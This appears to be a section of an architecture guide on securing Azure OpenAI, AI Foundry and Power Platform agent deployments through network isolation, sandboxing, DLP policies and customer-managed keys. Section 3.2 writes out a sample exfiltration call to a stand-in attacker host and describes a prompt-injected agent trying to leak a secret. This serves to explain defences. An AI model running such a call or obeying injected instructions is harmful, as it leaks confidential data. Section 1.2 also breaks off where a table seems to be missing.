14.3 Secure Data Processing & Grounding Data Isolation

Secure Data Processing & Grounding Data Isolation

Quick Answer: Microsoft guarantees commercial data protection across Azure OpenAI, Copilot Studio, and Microsoft 365 Copilot: enterprise customer data, prompts, completions, and grounding chunks are never used to train base foundation models and are logically and cryptographically isolated within tenant boundaries. To secure network traffic, architects must disable public network access, provision Azure Private Endpoints (privatelink.openai.azure.com and privatelink.search.windows.net), and deploy Azure AI Foundry Managed Virtual Networks with AllowOnlyApprovedOutbound rules to sandbox Code Interpreter runtimes. Data boundaries across Power Platform are enforced using Data Loss Prevention (DLP) connector classification and cross-tenant inbound/outbound isolation.

Deploying enterprise agentic solutions requires an unyielding security architecture spanning data boundaries, network perimeters, compute sandboxes, and cryptographic controls. An agent equipped with autonomous tools and access to enterprise knowledge represents a powerful asset—but without strict boundary enforcement, it introduces severe vectors for data exfiltration, lateral network movement, and compliance violations.

Architects must design a defense-in-depth perimeter that guarantees zero public internet exposure, isolates dynamic agent code execution, and enforces strict governance over every connector and API payload.

---

1. Data Boundary and Tenant Isolation Architecture

Enterprise leadership and regulatory bodies demand formal guarantees regarding how data is handled when sent to large language models. Microsoft provides specific contractual and technical isolation architectures to meet these requirements.

+-----------------------------------------------------------------------------+
|                  ENTERPRISE COMMERCIAL DATA PROTECTION BOUNDARY             |
+-----------------------------------------------------------------------------+
|                                                                             |
|  [ CUSTOMER TENANT BOUNDARY ]                                               |
|  +-----------------------------------------------------------------------+  |
|  | User Prompts & Transcripts | Grounding Documents | Vector Embeddings  |  |
|  +-----------------------------------------------------------------------+  |
|                                    |                                        |
|                                    v (TLS 1.3 over Private Endpoints)       |
|  [ AZURE OPENAI SERVICE DEDICATED INSTANCE ]                                |
|  +-----------------------------------------------------------------------+  |
|  | - Stateless Model Inference (In-Memory Processing)                    |  |
|  | - Ephemeral Memory: Prompts & Completions discarded post-inference    |  |
|  | - ZERO Base Model Training: OpenAI & Microsoft NEVER train on data    |  |
|  | - Optional Modified Abuse Monitoring: Zero human review of prompts    |  |
|  | - Customer-Managed Keys (CMK) for fine-tuned weights & cached data    |  |
|  +-----------------------------------------------------------------------+  |
|                                                                             |
+-----------------------------------------------------------------------------+

1.1 Microsoft Commercial Data Protection Commitments

When using Microsoft enterprise AI services (Azure OpenAI Service, Microsoft Copilot Studio, and Microsoft 365 Copilot under commercial licensing), the following protections apply:

• No Model Training: Customer prompts, completions, embeddings, and grounding documents are never used to train, retrain, or improve foundational models (e.g., GPT-4o, Phi) operated by OpenAI or Microsoft.
• Tenant Isolation: Data processed within a customer's Azure subscription or Microsoft 365 tenant is cryptographically and logically isolated from all other tenants. Multi-tenant PaaS layers utilize strict hypervisor separation, virtual network isolation, and encryption in transit.
• Data Residency & Boundaries: In accordance with the EU Data Boundary (EUDB) and sovereign regional commitments, customer data remains within the designated geographic boundary (e.g., European Union, United States, United Kingdom) during processing and storage.
• Stateless Inference: Foundation model endpoints operate statelessly. Once a completion is generated and streamed back to the client, the prompt and completion are evicted from GPU memory.
• Modified Abuse Monitoring: In standard Azure OpenAI accounts, Microsoft retains prompt and completion data for up to 30 days in encrypted storage for automated abuse monitoring and human review by vetted Microsoft engineers. However, enterprises in regulated industries (healthcare, banking, defense) can apply for Modified Abuse Monitoring / Logging Opt-Out. Once approved, prompt and completion logging is completely disabled, ensuring zero persistence.

1.2 Dedicated Compute: Provisioned Throughput Units (PTU)

For enterprise workloads with stringent latency, predictability, and isolation requirements, Azure OpenAI offers Provisioned Throughput Units (PTU) alongside standard Pay-As-You-Go (consumption) deployments:

---

2. Network Security & Perimeter Isolation

Enterprise security policy mandates that proprietary grounding data, model inference requests, and agent tool traffic must never traverse the public internet.

[ Enterprise On-Premises / Corporate Network ]
                       |
                       | ExpressRoute / Site-to-Site VPN
                       v
         [ Azure Virtual Network (VNet) ]
                       |
      +----------------+----------------+
      |                                 |
      v                                 v
[ Agent Subnet ]               [ Private Endpoint Subnet ]
+-----------------------+      +-------------------------------------------+
| Azure Container Apps  |      | privatelink.openai.azure.com (10.0.2.10)  |
| Agent Orchestrator    | ===> | privatelink.search.windows.net (10.0.2.11)|
| NSG: Deny Public Out  |      | privatelink.vaultcore.azure.net (10.0.2.12|
+-----------------------+      +-------------------------------------------+
                                                    |
                                     Azure Private Link Backbone
                                                    |
                                                    v
                               [ Azure PaaS Resources (Public Access = Off) ]

2.1 Private Endpoints & Azure Private Link

To eliminate public exposure, architects must provision Azure Private Endpoints for all AI PaaS resources:

1. Azure OpenAI: Provision a Private Endpoint targeting the resource sub-resource account (privatelink.openai.azure.com).
2. Azure AI Search: Provision a Private Endpoint targeting the sub-resource searchService (privatelink.search.windows.net).
3. Azure Key Vault: Provision a Private Endpoint targeting vault (privatelink.vaultcore.azure.net).
4. Azure AI Foundry / Hub: Provision Private Endpoints for the workspace, storage account, and container registry.
5. Disable Public Network Access: On each resource, explicitly set publicNetworkAccess = "Disabled". Any request originating from outside the private network receives an immediate HTTP 403 Forbidden or DNS resolution failure.

2.2 Private DNS Zones & DNS Resolution Architecture

Private Endpoints assign private IP addresses (e.g., 10.0.2.10) from the virtual network subnet to the PaaS services. To ensure agent applications resolve standard service FQDNs (contoso-aoai.openai.azure.com) to their corresponding private IPs, architects must configure Azure Private DNS Zones:

• Link privatelink.openai.azure.com and privatelink.search.windows.net to the agent's VNet.
• Deploy an Azure Private DNS Resolver to facilitate seamless hybrid DNS resolution from on-premises corporate networks across ExpressRoute connections.

2.3 Network Security Groups (NSGs) and Subnet Micro-Segmentation

Subnets hosting agent compute (such as Azure Container Apps or App Services) must be hardened with Network Security Groups (NSGs):

• Inbound Rules: Deny all inbound traffic from the internet (Internet). Allow inbound traffic strictly from approved frontend subnets or Application Gateways on designated ports.
• Outbound Rules: Deny all outbound traffic to Internet. Allow outbound traffic strictly to:
  • The Private Endpoint subnet (VirtualNetwork tag).
  • The AzureActiveDirectory service tag on port 443 for Entra ID token acquisition.
  • Regional Azure Monitor service tags for telemetry ingestion.

---

3. Managed Virtual Networks in Azure AI Foundry & Sandboxed Execution

When AI agents execute advanced reasoning workflows, they often require dynamic capabilities such as Python Code Interpreter, custom container runtimes, or automated web retrieval tools. Executing arbitrary or agent-generated code introduces acute infrastructure threats, including Server-Side Request Forgery (SSRF), remote code execution (RCE), and container breakout.

+-----------------------------------------------------------------------------+
|            AZURE AI FOUNDRY MANAGED VIRTUAL NETWORK ARCHITECTURE            |
+-----------------------------------------------------------------------------+
|                                                                             |
|  [ MANAGED VNET BOUNDARY ] (Isolated Microsoft-Managed Perimeter)           |
|                                                                             |
|  +---------------------------+       +-----------------------------------+  |
|  |   Agent Serverless APIs   |       |   Code Interpreter Sandbox        |  |
|  |   - Fine-tuned endpoints  |       |   - Micro-isolated container      |  |
|  |   - Custom Agent Tools    |       |   - Executes Python dynamically   |  |
|  +---------------------------+       +-----------------------------------+  |
|                |                                       |                    |
|                v (Private Endpoints Only)              v (Egress Blocked!)  |
|  +-----------------------------------------------------------------------+  |
|  |   Egress Control: 'AllowOnlyApprovedOutbound' Mode                    |  |
|  |   - Outbound to Internet: COMPLETELY BLOCKED                          |  |
|  |   - Outbound to Storage/Search: Private Endpoints Only                |  |
|  |   - Outbound FQDN Rules: Strict whitelist for approved external APIs  |  |
|  +-----------------------------------------------------------------------+  |
+-----------------------------------------------------------------------------+

3.1 Azure AI Foundry Managed VNet Architecture

Azure AI Foundry eliminates the complexity of manually architecting and peering virtual networks for AI compute by offering Managed Virtual Networks:

• The Managed VNet is instantiated within a dedicated Microsoft-managed boundary, isolated per AI Foundry workspace.
• Compute resources (such as serverless API inference, prompt evaluation jobs, and dynamic agent runners) run entirely inside this private boundary.
• Outbound Isolation Modes:
  1. AllowInternetOutbound: Compute has unrestricted outbound internet access (unacceptable for regulated enterprise workloads).
  2. AllowOnlyApprovedOutbound: Strict perimeter lockdown. Outbound traffic to the public internet is completely blocked. Connectivity is permitted only via workspace Private Endpoints (to storage, key vault, search) and explicitly declared Outbound FQDN Rules.

3.2 Sandboxing Code Interpreter and Custom Container Runtimes

When an agent utilizes the Azure OpenAI or Azure AI Foundry Code Interpreter tool to analyze financial models, perform statistical calculations, or generate dynamic charts:

• Micro-Container Isolation: The Python code executes inside an ephemeral, micro-isolated container instance provisioned on-demand.
• Network Egress Denial: The container sandbox has its network interface severed or restricted to prevent it from establishing outbound socket connections. An agent coerced via prompt injection into running urllib.request.urlopen("http://malicious-exfil.com?data=" + secret) will fail immediately with a network timeout.
• Ephemeral Lifecycle: The sandbox environment is destroyed immediately upon completion of the execution turn, eliminating persistent state or cross-session tampering.

---

4. Data Loss Prevention (DLP) & Cross-Tenant Governance

In Microsoft Power Platform and Copilot Studio, agents interact with enterprise data through hundreds of pre-built and custom Connectors. Without governance, a citizen developer or compromised agent could read confidential data from Dataverse and post it to an external consumer messaging platform or unapproved cloud drive.

+-------------------------------------------------------------------------+
|                POWER PLATFORM DATA LOSS PREVENTION (DLP)                |
+-------------------------------------------------------------------------+
|                                                                         |
|  +---------------------------+       +-------------------------------+  |
|  |      BUSINESS GROUP       |       |      NON-BUSINESS GROUP       |  |
|  |  (Business Data Only)     |       |  (Consumer / Personal Tools)  |  |
|  |---------------------------|       |-------------------------------|  |
|  | - Microsoft Dataverse     |       | - MSN Weather                 |  |
|  | - SharePoint Online       |  =/=> | - YouTube                     |  |
|  | - Azure SQL Database      |       | - Google Drive                |  |
|  | - SAP ERP                 |       | - Consumer Gmail              |  |
|  +---------------------------+       +-------------------------------+  |
|                                                                         |
|               RULE: Connectors in Business CANNOT share                 |
|               data with connectors in Non-Business!                     |
|                                                                         |
|  +-------------------------------------------------------------------+  |
|  |                           BLOCKED GROUP                           |  |
|  |  - Anonymous HTTP Connector                                        |  |
|  |  - Public Dropbox / Personal Social Media                         |  |
|  |  * BLOCKED from being added to any agent, flow, or app!           |  |
|  +-------------------------------------------------------------------+  |
+-------------------------------------------------------------------------+

4.1 Power Platform DLP Connector Classification

Environment administrators configure Data Loss Prevention (DLP) policies in the Power Platform Admin Center, categorizing connectors into three distinct groups:

• Business Group: Contains connectors that handle confidential organizational data (e.g., Dataverse, SharePoint, Office 365 Outlook, Azure Blob Storage, custom enterprise connectors). Connectors within this group can freely exchange data with one another.
• Non-Business Group: Contains connectors designated for consumer or personal productivity tools. Connectors in this group can communicate with each other but are strictly prohibited from exchanging data with connectors in the Business group.
• Blocked Group: Connectors that are entirely banned from use within the environment (e.g., generic HTTP without authentication, personal cloud storage, consumer social networks). No agent, flow, or app can initialize a connection using a blocked connector.

4.2 Granular Connector Action Control & Endpoint Filtering

DLP policies support deep, attribute-level controls beyond simple binary classification:

• Connector Action Control: Administrators can permit specific actions while blocking others. For example, on the SQL Server connector, administrators can permit GetItem and ListRows while blocking InsertRow, UpdateRow, and DeleteRow, turning the connector into a read-only grounding interface.
• Endpoint Filtering: For connectors that target arbitrary external URLs (such as HTTP or SQL connectors), administrators can define strict FQDN or IP whitelist patterns (e.g., https://api.internal.contoso.com/*). Any attempt by an agent flow to target an unapproved endpoint (e.g., https://api.external-threat.com) is rejected by the Power Platform runtime.

4.3 Cross-Tenant Inbound and Outbound Isolation

To prevent malicious data exfiltration to external corporate tenants, architects must configure Tenant Isolation in the Power Platform Admin Center and Microsoft Entra ID:

• Inbound Restriction: Blocks external tenants from establishing connections into the organization's Power Platform environments.
• Outbound Restriction: Blocks internal users and agents from establishing connections to external foreign tenants, preventing data leakage via external SharePoint sites or unauthorized Power BI workspaces.
• Cross-Tenant Access Settings: Entra ID policies restrict B2B collaboration and B2B direct connect, ensuring agents only communicate with verified, federated organizational partners.

4.4 Customer-Managed Keys (CMK) for Cryptographic Sovereignty

While Microsoft encrypts all data at rest using Microsoft-managed keys (FIPS 140-2 Level 2 validated AES-256), enterprise compliance frameworks (HIPAA, FedRAMP, PCI-DSS) often require Customer-Managed Keys (CMK):

• Implementation: Encryption keys are generated, stored, and managed inside the customer's Azure Key Vault or Azure Key Vault Managed HSM (FIPS 140-2 Level 3).
• Scope: CMK encrypts grounding data in Azure AI Search, Dataverse customer databases, Azure Blob storage containers, and fine-tuned model weights in Azure OpenAI.
• Crypto-Shredding / Key Revocation: If an enterprise suspects a security compromise or terminates a contract, the security team can immediately revoke Key Vault access to the encryption key. Within minutes, all underlying databases and vector indexes become cryptographically inaccessible, achieving instantaneous data shredding across the cloud.